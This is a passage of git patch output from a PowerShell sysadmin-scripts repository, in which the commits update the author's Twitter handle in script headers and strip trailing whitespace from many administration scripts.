b/TOOL-Get-StringCharCount/Get-StringCharCount.ps1 @@ -11,7 +11,7 @@ 11 .NOTES Francois-Xavier Cat - @lazywinadm + @lazywinadmin www.lazywinadmin.com #> PARAM ([String]$String) diff --git a/TOOL-Get-StringLastDigit/Get-StringLastDigit.ps1 b/TOOL-Get-StringLastDigit/Get-StringLastDigit.ps1 index f86ecb12..412c445d 100644 --- a/TOOL-Get-StringLastDigit/Get-StringLastDigit.ps1 +++ b/TOOL-Get-StringLastDigit/Get-StringLastDigit.ps1 @@ -22,7 +22,7 @@ VERBOSE: The following string does not finish by a digit: Francois-Xavier.cat .NOTES Francois-Xavier Cat - @lazywinadm + @lazywinadmin www.lazywinadmin.com #> [CmdletBinding()] diff --git a/TOOL-Get-Uptime/Get-Uptime.ps1 b/TOOL-Get-Uptime/Get-Uptime.ps1 index 7aa08152..69d15cb2 100644 --- a/TOOL-Get-Uptime/Get-Uptime.ps1 +++ b/TOOL-Get-Uptime/Get-Uptime.ps1 @@ -31,7 +31,7 @@ .NOTES Francois-Xavier Cat - @lazywinadm + @lazywinadmin www.lazywinadmin.com #> [CmdletBinding()] @@ -69,7 +69,7 @@ .NOTES Francois-Xavier Cat www.lazywinadmin.com - @lazywinadm + @lazywinadmin #> PARAM ($Message) $DateFormat = Get-Date -Format 'yyyy/MM/dd-HH:mm:ss:ff' diff --git a/TOOL-New-CimSmartSession/New-CimSmartSession.ps1 b/TOOL-New-CimSmartSession/New-CimSmartSession.ps1 index a1c05fa7..9bca9176 100644 --- a/TOOL-New-CimSmartSession/New-CimSmartSession.ps1 +++ b/TOOL-New-CimSmartSession/New-CimSmartSession.ps1 @@ -24,7 +24,7 @@ .NOTES Francois-Xavier Cat lazywinadmin.com - @lazywinadm + @lazywinadmin #> #Requires -Version 3.0 [CmdletBinding()] diff --git a/TOOL-New-DjoinFile/New-DjoinFile.ps1 b/TOOL-New-DjoinFile/New-DjoinFile.ps1 index 352401ab..e5c173a3 100644 --- a/TOOL-New-DjoinFile/New-DjoinFile.ps1 +++ b/TOOL-New-DjoinFile/New-DjoinFile.ps1 @@ -23,7 +23,7 @@ .NOTES Francois-Xavier.Cat LazyWinAdmin.com - @lazywinadm + @lazywinadmin github.com/lazywinadmin .LINK diff --git a/TOOL-New-RandomPassword/New-RandomPassword.ps1 b/TOOL-New-RandomPassword/New-RandomPassword.ps1 index 420823f1..dc58b8b7 100644 --- a/TOOL-New-RandomPassword/New-RandomPassword.ps1 +++ b/TOOL-New-RandomPassword/New-RandomPassword.ps1 @@ -38,7 +38,7 @@ .NOTES francois-xavier.cat www.lazywinadmin.com - @lazywinadm + @lazywinadmin github.com/lazywinadmin #> PARAM ( diff --git a/TOOL-New-ScriptMessage/New-ScriptMessage.ps1 b/TOOL-New-ScriptMessage/New-ScriptMessage.ps1 index 59adc98c..a9a7ed98 100644 --- a/TOOL-New-ScriptMessage/New-ScriptMessage.ps1 +++ b/TOOL-New-ScriptMessage/New-ScriptMessage.ps1 @@ -51,7 +51,7 @@ .NOTES Francois-Xavier Cat www.lazywinadmin.com - @lazywinadm + @lazywinadmin github.com/lazywinadmin #> diff --git a/TOOL-Remove-HashTableEmptyValue/Remove-HashTableEmptyValue.ps1 b/TOOL-Remove-HashTableEmptyValue/Remove-HashTableEmptyValue.ps1 index 8bf3d30a..0f040e49 100644 --- a/TOOL-Remove-HashTableEmptyValue/Remove-HashTableEmptyValue.ps1 +++ b/TOOL-Remove-HashTableEmptyValue/Remove-HashTableEmptyValue.ps1 @@ -11,7 +11,7 @@ Remove-HashTableEmptyValue -HashTable $SplattingVariable .NOTES Francois-Xavier Cat - @lazywinadm + @lazywinadmin www.lazywinadmin.com github.com/lazywinadmin #> diff --git a/TOOL-Remove-PSObjectEmptyOrNullProperty/Remove-PSObjectEmptyOrNullProperty.ps1 b/TOOL-Remove-PSObjectEmptyOrNullProperty/Remove-PSObjectEmptyOrNullProperty.ps1 index f971efe1..87c7c4f6 100644 --- a/TOOL-Remove-PSObjectEmptyOrNullProperty/Remove-PSObjectEmptyOrNullProperty.ps1 +++ b/TOOL-Remove-PSObjectEmptyOrNullProperty/Remove-PSObjectEmptyOrNullProperty.ps1 @@ -16,7 +16,7 @@ .NOTES Francois-Xavier Cat www.lazywinadmin.com - @lazywinadm + @lazywinadmin #> PARAM ( $PSObject) diff --git a/TOOL-Remove-PSObjectProperty/Remove-PSObjectProperty.ps1 b/TOOL-Remove-PSObjectProperty/Remove-PSObjectProperty.ps1 index 45e9a01f..2d533ea3 100644 --- a/TOOL-Remove-PSObjectProperty/Remove-PSObjectProperty.ps1 +++ b/TOOL-Remove-PSObjectProperty/Remove-PSObjectProperty.ps1 @@ -19,7 +19,7 @@ .NOTES Francois-Xavier Cat www.lazywinadmin.com - @lazywinadm + @lazywinadmin #> PARAM ( $PSObject, diff --git a/TOOL-Remove-StringDiacritic/Remove-StringDiacritic.ps1 b/TOOL-Remove-StringDiacritic/Remove-StringDiacritic.ps1 index 698480fd..b8979f66 100644 --- a/TOOL-Remove-StringDiacritic/Remove-StringDiacritic.ps1 +++ b/TOOL-Remove-StringDiacritic/Remove-StringDiacritic.ps1 @@ -21,7 +21,7 @@ .NOTES Francois-Xavier Cat - @lazywinadm + @lazywinadmin www.lazywinadmin.com github.com/lazywinadmin #> diff --git a/TOOL-Remove-StringLatinCharacter/Remove-StringLatinCharacter.ps1 b/TOOL-Remove-StringLatinCharacter/Remove-StringLatinCharacter.ps1 index 0417ad95..fc38f14f 100644 --- a/TOOL-Remove-StringLatinCharacter/Remove-StringLatinCharacter.ps1 +++ b/TOOL-Remove-StringLatinCharacter/Remove-StringLatinCharacter.ps1 @@ -24,7 +24,7 @@ .NOTES Francois-Xavier Cat lazywinadmin.com - @lazywinadm + @lazywinadmin github.com/lazywinadmin BLOG ARTICLE diff --git a/TOOL-Remove-StringSpecialCharacter/Remove-StringSpecialCharacter.ps1 b/TOOL-Remove-StringSpecialCharacter/Remove-StringSpecialCharacter.ps1 index 84a78504..4e37bda3 100644 --- a/TOOL-Remove-StringSpecialCharacter/Remove-StringSpecialCharacter.ps1 +++ b/TOOL-Remove-StringSpecialCharacter/Remove-StringSpecialCharacter.ps1 @@ -32,7 +32,7 @@ function Remove-StringSpecialCharacter .NOTES Francois-Xavier Cat - @lazywinadm + @lazywinadmin www.lazywinadmin.com github.com/lazywinadmin #> diff --git a/TOOL-Resolve-ShortURL/Resolve-ShortURL.ps1 b/TOOL-Resolve-ShortURL/Resolve-ShortURL.ps1 index a0662558..d3cf7b7e 100644 --- a/TOOL-Resolve-ShortURL/Resolve-ShortURL.ps1 +++ b/TOOL-Resolve-ShortURL/Resolve-ShortURL.ps1 @@ -19,7 +19,7 @@ function Resolve-ShortURL .NOTES Francois-Xavier Cat lazywinadmin.com - @lazywinadm + @lazywinadmin github.com/lazywinadmin #> diff --git a/TOOL-Send-Email/TOOL-Send-Email.ps1 b/TOOL-Send-Email/TOOL-Send-Email.ps1 index d1c120c5..96d2f595 100644 --- a/TOOL-Send-Email/TOOL-Send-Email.ps1 +++ b/TOOL-Send-Email/TOOL-Send-Email.ps1 @@ -118,7 +118,7 @@ Francois-Xavier Cat fxcat@lazywinadmin.com www.lazywinadmin.com - @lazywinadm + @lazywinadmin VERSION HISTORY 1.0 2014/12/25 Initial Version diff --git a/TOOL-Set-NetworkLevelAuthentication/Set-NetworkLevelAuthentication.ps1 b/TOOL-Set-NetworkLevelAuthentication/Set-NetworkLevelAuthentication.ps1 index 4e9e8d58..75d70784 100644 --- a/TOOL-Set-NetworkLevelAuthentication/Set-NetworkLevelAuthentication.ps1 +++ b/TOOL-Set-NetworkLevelAuthentication/Set-NetworkLevelAuthentication.ps1 @@ -29,7 +29,7 @@ DATE : 2014/04/01 AUTHOR : Francois-Xavier Cat WWW : http://lazywinadmin.com - Twitter : @lazywinadm + Twitter : @lazywinadmin Article : http://lazywinadmin.com/2014/04/powershell-getset-network-level.html GitHub : https://github.com/lazywinadmin/PowerShell diff --git a/TOOL-Set-PowerShellWindowTitle/Set-PowerShellWindowTitle.ps1 b/TOOL-Set-PowerShellWindowTitle/Set-PowerShellWindowTitle.ps1 index 3f49b2c4..5d8aed89 100644 --- a/TOOL-Set-PowerShellWindowTitle/Set-PowerShellWindowTitle.ps1 +++ b/TOOL-Set-PowerShellWindowTitle/Set-PowerShellWindowTitle.ps1 @@ -16,7 +16,7 @@ .NOTES Francois-Xavier Cat www.lazywinadmin.com - @lazywinadm + @lazywinadmin #> PARAM($Title) $Host.UI.RawUI.WindowTitle = $Title diff --git a/TOOL-Set-RDPDisable/Set-RDPDisable.ps1 b/TOOL-Set-RDPDisable/Set-RDPDisable.ps1 index fb3ff394..de8f9196 100644 --- a/TOOL-Set-RDPDisable/Set-RDPDisable.ps1 +++ b/TOOL-Set-RDPDisable/Set-RDPDisable.ps1 @@ -22,7 +22,7 @@ .NOTES Francois-Xavier Cat www.lazywinadmin.com - @lazywinadm + @lazywinadmin #> [CmdletBinding()] PARAM ( diff --git a/TOOL-Set-RDPEnable/Set-RDPEnable.ps1 b/TOOL-Set-RDPEnable/Set-RDPEnable.ps1 index 9a9d7501..08c85608 100644 --- a/TOOL-Set-RDPEnable/Set-RDPEnable.ps1 +++ b/TOOL-Set-RDPEnable/Set-RDPEnable.ps1 @@ -22,7 +22,7 @@ .NOTES Francois-Xavier Cat www.lazywinadmin.com - @lazywinadm + @lazywinadmin #> [CmdletBinding()] diff --git a/TOOL-Set-RemoteDesktop/Set-RemoteDesktop.ps1 b/TOOL-Set-RemoteDesktop/Set-RemoteDesktop.ps1 index ec9406f2..cb72eebb 100644 --- a/TOOL-Set-RemoteDesktop/Set-RemoteDesktop.ps1 +++ b/TOOL-Set-RemoteDesktop/Set-RemoteDesktop.ps1 @@ -22,7 +22,7 @@ .NOTES Francois-Xavier Cat www.lazywinadmin.com - @lazywinadm + @lazywinadmin #> [CmdletBinding()] diff --git a/TOOL-Test-IsLocalAdministrator/Test-IsLocalAdministrator.ps1 b/TOOL-Test-IsLocalAdministrator/Test-IsLocalAdministrator.ps1 index 8c4d6a18..83e217c0 100644 --- a/TOOL-Test-IsLocalAdministrator/Test-IsLocalAdministrator.ps1 +++ b/TOOL-Test-IsLocalAdministrator/Test-IsLocalAdministrator.ps1 @@ -11,7 +11,7 @@ True .NOTES Francois-Xavier Cat - @lazywinadm + @lazywinadmin www.lazywinadmin.com github.com/lazywinadmin #> diff --git a/TOOL-Test-RemoteDesktopIsEnabled/Test-RemoteDesktopIsEnabled.ps1 b/TOOL-Test-RemoteDesktopIsEnabled/Test-RemoteDesktopIsEnabled.ps1 index bd9772db..f489a41e 100644 --- a/TOOL-Test-RemoteDesktopIsEnabled/Test-RemoteDesktopIsEnabled.ps1 +++ b/TOOL-Test-RemoteDesktopIsEnabled/Test-RemoteDesktopIsEnabled.ps1 @@ -19,7 +19,7 @@ .NOTES Francois-Xavier Cat - @lazywinadm + @lazywinadmin www.lazywinadmin.com github.com/lazywinadmin #> diff --git a/VMWARE-HOST-List_VIB/VMWARE-HOST-List_VIB.ps1 b/VMWARE-HOST-List_VIB/VMWARE-HOST-List_VIB.ps1 index b343ee9e..10496af5 100644 --- a/VMWARE-HOST-List_VIB/VMWARE-HOST-List_VIB.ps1 +++ b/VMWARE-HOST-List_VIB/VMWARE-HOST-List_VIB.ps1 @@ -16,7 +16,7 @@ This Script retrieve the VIB information on all the VMware Host .NOTES Francois-Xavier Cat www.lazywinadmin.com - @lazywinadm + @lazywinadmin #> [CmdletBinding(DefaultParameterSetName="All")] PARAM ( diff --git a/VMware-STORAGE-Get-VMhostHbaInfo/Get-VMhostHbaInfo.ps1 b/VMware-STORAGE-Get-VMhostHbaInfo/Get-VMhostHbaInfo.ps1 index 22f56f9c..77ea4624 100644 --- a/VMware-STORAGE-Get-VMhostHbaInfo/Get-VMhostHbaInfo.ps1 +++ b/VMware-STORAGE-Get-VMhostHbaInfo/Get-VMhostHbaInfo.ps1 @@ -113,7 +113,7 @@ Function Get-VMhostHbaInfo PSObject .NOTES - Twitter: @lazywinadm + Twitter: @lazywinadmin WWW: lazywinadmin.com VERSION HISTORY diff --git a/_Profiles/Microsoft.PowerShell_profile.ps1 b/_Profiles/Microsoft.PowerShell_profile.ps1 index e45ffbaf..24835997 100644 --- a/_Profiles/Microsoft.PowerShell_profile.ps1 +++ b/_Profiles/Microsoft.PowerShell_profile.ps1 @@ -6,7 +6,7 @@ .NOTES Francois-Xavier Cat www.lazywinadmin.com - @lazywinadm + @lazywinadmin #> ######################### diff --git a/_Profiles/functions/connect-office365.ps1 b/_Profiles/functions/connect-office365.ps1 index b2b151eb..dd312249 100644 --- a/_Profiles/functions/connect-office365.ps1 +++ b/_Profiles/functions/connect-office365.ps1 @@ -19,7 +19,7 @@ .NOTE Francois-Xavier Cat lazywinadmin.com - @lazywinadm + @lazywinadmin #> [CmdletBinding()] PARAM () diff --git a/_Template/Function_Template.ps1 b/_Template/Function_Template.ps1 index 5b53e600..205237cb 100644 --- a/_Template/Function_Template.ps1 +++ b/_Template/Function_Template.ps1 @@ -20,7 +20,7 @@ Francois-Xavier Cat lazywinadmin.github.io www.lazywinadmin.com - @lazywinadm + @lazywinadmin 1.0 | 2016/00/00 | Francois-Xavier Cat Initial Version From 5ede887e646b55d629ef3f1b66940df5ada7ccd4 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Wed, 4 Sep 2019 15:46:13 -0700 Subject: [PATCH 146/561] Update vscode settings --- .vscode/settings.json | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/.vscode/settings.json b/.vscode/settings.json index deb8e0ae..07c3aa8c 100644 --- a/.vscode/settings.json +++ b/.vscode/settings.json @@ -13,5 +13,7 @@ 80 ], - "editor.renderWhitespace": "all" + "editor.renderWhitespace": "all", + + "files.trimTrailingWhitespace": true } \ No newline at end of file From 3655830e26d6bca0c2715ea846fa9e9a2ebc2b3d Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Wed, 4 Sep 2019 15:47:51 -0700 Subject: [PATCH 147/561] Remove trailing whitespaces --- .../AD-GROUP-Get-NestedMember.ps1 | 2 +- .../AD-GROUP-Get-ParentGroup.ps1 | 2 +- .../AD-GROUP-Monitor_MemberShip.ps1 | 10 +- .../Get-ADSITokenGroup.ps1 | 2 +- AD-SITE-Add-ADSubnet(ADSI)/Add-ADSubnet.ps1 | 2 +- ...ind_missing_subnets_in_ActiveDirectory.ps1 | 6 +- .../Get-ADSiteInventory.ps1 | 2 +- .../AD-USER-Report_Expiring_users.ps1 | 2 +- .../Connect-ExchangeOnline.ps1 | 2 +- .../O365-Get-O365CalendarEvent.ps1 | 2 +- .../Get-SCCMUserCollectionDeployment.ps1 | 4 +- .../Get-SCSMWorkItemAffectedCI.ps1 | 2 +- .../Get-SCSMWorkItemRelatedCI.ps1 | 2 +- .../Get-SCSMIRComment.ps1 | 2 +- .../Add-SCSMSRComment.ps1 | 4 +- TOOL-Clean-MacAddress/Clean-MacAddress.ps1 | 2 +- .../ConvertTo-StringList.ps1 | 6 +- TOOL-Get-AsciiReaction/Get-AsciiReaction.ps1 | 20 +- TOOL-Get-ComputerInfo/Get-ComputerInfo.ps1 | 10 +- TOOL-Get-HelpMessage/Get-HelpMessage.ps1 | 2 +- TOOL-Get-ImageInformation/readme.md | 2 +- TOOL-Get-LogFast/Get-LogFast.ps1 | 6 +- TOOL-Get-NetFramework/Get-NetFramework.ps1 | 20 +- .../Get-NetFrameworkTypeAccelerator.ps1 | 2 +- .../Get-NetworkLevelAuthentication.ps1 | 2 +- .../Get-PSObjectEmptyOrNullProperty.ps1 | 8 +- TOOL-Get-PendingReboot/Get-PendingReboot.ps1 | 202 +++++++++--------- .../Get-StringCharCount.ps1 | 2 +- TOOL-Invoke-Ping/Invoke-Ping.ps1 | 8 +- .../New-CimSmartSession.ps1 | 18 +- TOOL-New-DjoinFile/README.md | 2 +- .../Remove-PSObjectEmptyOrNullProperty.ps1 | 2 +- .../Remove-PSObjectProperty.ps1 | 2 +- .../Remove-StringDiacritic.ps1 | 2 +- .../Remove-StringSpecialCharacter.ps1 | 2 +- .../Set-PowerShellWindowTitle.ps1 | 2 +- TOOL-Set-RemoteDesktop/Set-RemoteDesktop.ps1 | 2 +- TOOL-Start-KeyLogger/Start-KeyLogger.ps1 | 10 +- _Profiles/Microsoft.PowerShell_profile.ps1 | 2 +- _Profiles/functions/Find-Apartment.ps1 | 4 +- _Profiles/functions/View-Cats.ps1 | 4 +- _Profiles/functions/show-object.ps1 | 6 +- _Test/AD-TokenGroups_Test.ps1 | 34 +-- 43 files changed, 215 insertions(+), 215 deletions(-) diff --git a/AD-GROUP-Get-NestedMember/AD-GROUP-Get-NestedMember.ps1 b/AD-GROUP-Get-NestedMember/AD-GROUP-Get-NestedMember.ps1 index e69ea8a5..98816b3f 100644 --- a/AD-GROUP-Get-NestedMember/AD-GROUP-Get-NestedMember.ps1 +++ b/AD-GROUP-Get-NestedMember/AD-GROUP-Get-NestedMember.ps1 @@ -74,7 +74,7 @@ Write-Verbose -Message "[$FunctionName] Group '$Group' - Name:$($_.name) | ObjectClass:$($_.ObjectClass)" $CurrentObject = $_ switch ($_.ObjectClass) - { + { "group" { # Output Object $CurrentObject | Select-Object Name,SamAccountName,ObjectClass,DistinguishedName,@{Label="ParentGroup";Expression={$ParentGroup}}, @{Label="RelationShipPath";Expression={$RelationShipPath}} diff --git a/AD-GROUP-Get-ParentGroup/AD-GROUP-Get-ParentGroup.ps1 b/AD-GROUP-Get-ParentGroup/AD-GROUP-Get-ParentGroup.ps1 index 73d1c017..1e9e9379 100644 --- a/AD-GROUP-Get-ParentGroup/AD-GROUP-Get-ParentGroup.ps1 +++ b/AD-GROUP-Get-ParentGroup/AD-GROUP-Get-ParentGroup.ps1 @@ -26,7 +26,7 @@ [Parameter(Mandatory = $true)] [String[]]$Name ) - BEGIN + BEGIN { TRY{ if(-not(Get-Module Activedirectory -ErrorAction Stop)){ diff --git a/AD-GROUP-Monitor_MemberShip/AD-GROUP-Monitor_MemberShip.ps1 b/AD-GROUP-Monitor_MemberShip/AD-GROUP-Monitor_MemberShip.ps1 index aec9de27..3f1e8e36 100644 --- a/AD-GROUP-Monitor_MemberShip/AD-GROUP-Monitor_MemberShip.ps1 +++ b/AD-GROUP-Monitor_MemberShip/AD-GROUP-Monitor_MemberShip.ps1 @@ -24,13 +24,13 @@ object and all its child objects. .PARAMETER GroupScope - Specify the group scope of groups you want to find. Acceptable values are: - 'Global'; - 'Universal'; + Specify the group scope of groups you want to find. Acceptable values are: + 'Global'; + 'Universal'; 'DomainLocal'. .PARAMETER GroupType - Specify the group type of groups you want to find. Acceptable values are: + Specify the group type of groups you want to find. Acceptable values are: 'Security'; 'Distribution'. @@ -111,7 +111,7 @@ .NOTES NAME: AD-GROUP-Monitor_MemberShip.ps1 - AUTHOR: Francois-Xavier Cat + AUTHOR: Francois-Xavier Cat EMAIL: info@lazywinadmin.com WWW: www.lazywinadmin Twitter:@lazywinadmin diff --git a/AD-OBJECT-Get-ADSITokenGroup/Get-ADSITokenGroup.ps1 b/AD-OBJECT-Get-ADSITokenGroup/Get-ADSITokenGroup.ps1 index c6f12ed3..451a7198 100644 --- a/AD-OBJECT-Get-ADSITokenGroup/Get-ADSITokenGroup.ps1 +++ b/AD-OBJECT-Get-ADSITokenGroup/Get-ADSITokenGroup.ps1 @@ -35,7 +35,7 @@ .NOTES Francois-Xavier Cat www.lazywinadmin.com - @lazywinadm + @lazywinadm #> [CmdletBinding()] param diff --git a/AD-SITE-Add-ADSubnet(ADSI)/Add-ADSubnet.ps1 b/AD-SITE-Add-ADSubnet(ADSI)/Add-ADSubnet.ps1 index 392ddb64..d083d228 100644 --- a/AD-SITE-Add-ADSubnet(ADSI)/Add-ADSubnet.ps1 +++ b/AD-SITE-Add-ADSubnet(ADSI)/Add-ADSubnet.ps1 @@ -32,7 +32,7 @@ .NOTES NAME: FUNCT-AD-SITE-Add-ADSubnet_using_ADSI.ps1 - AUTHOR: Francois-Xavier CAT + AUTHOR: Francois-Xavier CAT DATE: 2013/11/07 EMAIL: info@lazywinadmin.com WWW: www.lazywinadmin.com diff --git a/AD-SITE-Find_Missing_Subnets/AD-Find_missing_subnets_in_ActiveDirectory.ps1 b/AD-SITE-Find_Missing_Subnets/AD-Find_missing_subnets_in_ActiveDirectory.ps1 index 0daa5e5a..bb839d54 100644 --- a/AD-SITE-Find_Missing_Subnets/AD-Find_missing_subnets_in_ActiveDirectory.ps1 +++ b/AD-SITE-Find_Missing_Subnets/AD-Find_missing_subnets_in_ActiveDirectory.ps1 @@ -1,11 +1,11 @@ <# .SYNOPSIS - This script goal is to get all the missing subnets from the + This script goal is to get all the missing subnets from the NETLOGON.LOG file from each Domain Controllers in the Active Directory. It will copy all the NETLOGON.LOG locally and parse them. .DESCRIPTION - This script goal is to get all the missing subnets from the + This script goal is to get all the missing subnets from the NETLOGON.LOG file from each Domain Controllers in the Active Directory. It will copy all the NETLOGON.LOG locally and parse them. @@ -30,7 +30,7 @@ .NOTES NAME: TOOL-AD-SITE-Report_Missing_Subnets.ps1 - AUTHOR: Francois-Xavier CAT + AUTHOR: Francois-Xavier CAT DATE: 2011/10/11 EMAIL: info@lazywinadmin.com diff --git a/AD-SITE-Get-ADSiteInventory/Get-ADSiteInventory.ps1 b/AD-SITE-Get-ADSiteInventory/Get-ADSiteInventory.ps1 index be39622f..dccc2a99 100644 --- a/AD-SITE-Get-ADSiteInventory/Get-ADSiteInventory.ps1 +++ b/AD-SITE-Get-ADSiteInventory/Get-ADSiteInventory.ps1 @@ -86,7 +86,7 @@ NotificationEnabled = $LinksInfo.NotificationEnabled -join ',' TransportType = $LinksInfo.TransportType -join ',' InterSiteReplicationSchedule = $LinksInfo.InterSiteReplicationSchedule -join ',' - DataCompressionEnabled = $LinksInfo.DataCompressionEnabled -join ',' + DataCompressionEnabled = $LinksInfo.DataCompressionEnabled -join ',' #} #> }#New-Object -TypeName PSoBject diff --git a/AD-USER-Report_Expiring_users/AD-USER-Report_Expiring_users.ps1 b/AD-USER-Report_Expiring_users/AD-USER-Report_Expiring_users.ps1 index 75473d0b..bd50e1c5 100644 --- a/AD-USER-Report_Expiring_users/AD-USER-Report_Expiring_users.ps1 +++ b/AD-USER-Report_Expiring_users/AD-USER-Report_Expiring_users.ps1 @@ -43,7 +43,7 @@ PARAM ( ) BEGIN { - # Add Active Directory Module + # Add Active Directory Module # Define Email Subject [String]$EmailSubject = "PS Report-ActiveDirectory-Expiring Users (in the next $days days)" diff --git a/EXCHANGE-Connect-ExchangeOnline/Connect-ExchangeOnline.ps1 b/EXCHANGE-Connect-ExchangeOnline/Connect-ExchangeOnline.ps1 index 3716de49..a8aedac5 100644 --- a/EXCHANGE-Connect-ExchangeOnline/Connect-ExchangeOnline.ps1 +++ b/EXCHANGE-Connect-ExchangeOnline/Connect-ExchangeOnline.ps1 @@ -56,7 +56,7 @@ } CATCH { - $Error[0] + $Error[0] } } } \ No newline at end of file diff --git a/O365-Get-O365CalendarEvent/O365-Get-O365CalendarEvent.ps1 b/O365-Get-O365CalendarEvent/O365-Get-O365CalendarEvent.ps1 index 45b816be..0ba27cb0 100644 --- a/O365-Get-O365CalendarEvent/O365-Get-O365CalendarEvent.ps1 +++ b/O365-Get-O365CalendarEvent/O365-Get-O365CalendarEvent.ps1 @@ -201,7 +201,7 @@ } CATCH { - $PSCmdlet.ThrowTerminatingError($_) + $PSCmdlet.ThrowTerminatingError($_) } } } \ No newline at end of file diff --git a/SCCM-Get-SCCMUserCollectionDeployment/Get-SCCMUserCollectionDeployment.ps1 b/SCCM-Get-SCCMUserCollectionDeployment/Get-SCCMUserCollectionDeployment.ps1 index e5c9d9cf..668df0cd 100644 --- a/SCCM-Get-SCCMUserCollectionDeployment/Get-SCCMUserCollectionDeployment.ps1 +++ b/SCCM-Get-SCCMUserCollectionDeployment/Get-SCCMUserCollectionDeployment.ps1 @@ -110,7 +110,7 @@ # Find the User in SCCM CMDB $User = Get-WMIObject @Splatting -Query "Select * From SMS_R_User WHERE UserName='$UserName'" - # Find the collections where the user is member of + # Find the collections where the user is member of Get-WmiObject -Class sms_fullcollectionmembership @splatting -Filter "ResourceID = '$($user.resourceid)'" | ForEach-Object { @@ -123,7 +123,7 @@ { IF ($DeploymentIntent -eq 'NA') { - # Find the Deployment on one collection + # Find the Deployment on one collection $Deployments = (Get-WmiObject @splatting -Query "Select * From SMS_DeploymentInfo WHERE CollectionID='$($Collection.CollectionID)'") } ELSE diff --git a/SCSM-Get-SCSMWorkItemAffectedCI/Get-SCSMWorkItemAffectedCI.ps1 b/SCSM-Get-SCSMWorkItemAffectedCI/Get-SCSMWorkItemAffectedCI.ps1 index da91048d..ac019f62 100644 --- a/SCSM-Get-SCSMWorkItemAffectedCI/Get-SCSMWorkItemAffectedCI.ps1 +++ b/SCSM-Get-SCSMWorkItemAffectedCI/Get-SCSMWorkItemAffectedCI.ps1 @@ -25,7 +25,7 @@ ) PROCESS { - # Find the Ticket Object + # Find the Ticket Object $WorkItemObject = Get-SCSMObject -id $GUID # Find the Affected Configuration Items diff --git a/SCSM-Get-SCSMWorkItemRelatedCI/Get-SCSMWorkItemRelatedCI.ps1 b/SCSM-Get-SCSMWorkItemRelatedCI/Get-SCSMWorkItemRelatedCI.ps1 index d2d2bd0f..86452cc8 100644 --- a/SCSM-Get-SCSMWorkItemRelatedCI/Get-SCSMWorkItemRelatedCI.ps1 +++ b/SCSM-Get-SCSMWorkItemRelatedCI/Get-SCSMWorkItemRelatedCI.ps1 @@ -25,7 +25,7 @@ ) PROCESS { - # Find the Ticket Object + # Find the Ticket Object $WorkItemObject = Get-SCSMObject -id $GUID # Find the Related Configuration Items diff --git a/SCSM-IR-Get-SCSMIRComment/Get-SCSMIRComment.ps1 b/SCSM-IR-Get-SCSMIRComment/Get-SCSMIRComment.ps1 index 3f0f3296..4c553dd2 100644 --- a/SCSM-IR-Get-SCSMIRComment/Get-SCSMIRComment.ps1 +++ b/SCSM-IR-Get-SCSMIRComment/Get-SCSMIRComment.ps1 @@ -53,7 +53,7 @@ } CATCH { - $Error[0] + $Error[0] } } #FOREACH ($IR in $Incident) diff --git a/SCSM-SR-Add-SCSMSRComment/Add-SCSMSRComment.ps1 b/SCSM-SR-Add-SCSMSRComment/Add-SCSMSRComment.ps1 index b35e1a5c..85935adf 100644 --- a/SCSM-SR-Add-SCSMSRComment/Add-SCSMSRComment.ps1 +++ b/SCSM-SR-Add-SCSMSRComment/Add-SCSMSRComment.ps1 @@ -69,7 +69,7 @@ } CATCH { - $Error[0] + $Error[0] } } PROCESS @@ -120,7 +120,7 @@ } CATCH { - $Error[0] + $Error[0] } #CATCH } #PROCESS } # Function \ No newline at end of file diff --git a/TOOL-Clean-MacAddress/Clean-MacAddress.ps1 b/TOOL-Clean-MacAddress/Clean-MacAddress.ps1 index e2a46e61..6190f255 100644 --- a/TOOL-Clean-MacAddress/Clean-MacAddress.ps1 +++ b/TOOL-Clean-MacAddress/Clean-MacAddress.ps1 @@ -97,7 +97,7 @@ function Clean-MacAddress IF ($PSBoundParameters['Lowercase']) { $MacAddress = $macaddress.tolower() - } + } IF ($PSBoundParameters['Separator']) { IF ($Separator -ne "None") diff --git a/TOOL-ConvertTo-StringList/ConvertTo-StringList.ps1 b/TOOL-ConvertTo-StringList/ConvertTo-StringList.ps1 index da9bd4bf..cdbee293 100644 --- a/TOOL-ConvertTo-StringList/ConvertTo-StringList.ps1 +++ b/TOOL-ConvertTo-StringList/ConvertTo-StringList.ps1 @@ -17,21 +17,21 @@ $Computers = "Computer1","Computer2" ConvertTo-StringList -Array $Computers - Output: + Output: Computer1,Computer2 .EXAMPLE $Computers = "Computer1","Computer2" ConvertTo-StringList -Array $Computers -Delimiter "__" - Output: + Output: Computer1__Computer2 .EXAMPLE $Computers = "Computer1" ConvertTo-StringList -Array $Computers -Delimiter "__" - Output: + Output: Computer1 .NOTES diff --git a/TOOL-Get-AsciiReaction/Get-AsciiReaction.ps1 b/TOOL-Get-AsciiReaction/Get-AsciiReaction.ps1 index d8172bc2..fdc8dc23 100644 --- a/TOOL-Get-AsciiReaction/Get-AsciiReaction.ps1 +++ b/TOOL-Get-AsciiReaction/Get-AsciiReaction.ps1 @@ -24,7 +24,7 @@ function Get-AsciiReaction [cmdletbinding()] Param ( - # Name of the Ascii + # Name of the Ascii [Parameter()] [ValidateSet( 'Shrug', @@ -83,15 +83,15 @@ function Get-AsciiReaction 'Shrug' = [char[]]@(175, 92, 95, 40, 12484, 41, 95, 47, 175) -join '' | Write-Ascii 'Disapproval' = [char[]]@(3232, 95, 3232) -join '' | Write-Ascii 'TableFlip' = [char[]]@(40, 9583, 176, 9633, 176, 65289, 9583, 65077, 32, 9531, 9473, 9531, 41) -join '' | Write-Ascii - 'TableBack' = [char[]]@(9516, 9472, 9472, 9516, 32, 175, 92, 95, 40, 12484, 41) -join '' | Write-Ascii - 'TableFlip2' = [char[]]@(9531, 9473, 9531, 32, 65077, 12541, 40, 96, 1044, 180, 41, 65417, 65077, 32, 9531, 9473, 9531) -join '' | Write-Ascii - 'TableBack2' = [char[]]@(9516, 9472, 9516, 12494, 40, 32, 186, 32, 95, 32, 186, 12494, 41) -join '' | Write-Ascii - 'TableFlip3' = [char[]]@(40, 12494, 3232, 30410, 3232, 41, 12494, 24417, 9531, 9473, 9531) -join '' | Write-Ascii - 'Denko' = [char[]]@(40, 180, 65381, 969, 65381, 96, 41) -join '' | Write-Ascii - 'BlowKiss' = [char[]]@(40, 42, 94, 51, 94, 41, 47, 126, 9734) -join '' | Write-Ascii - 'Lenny' = [char[]]@(40, 32, 865, 176, 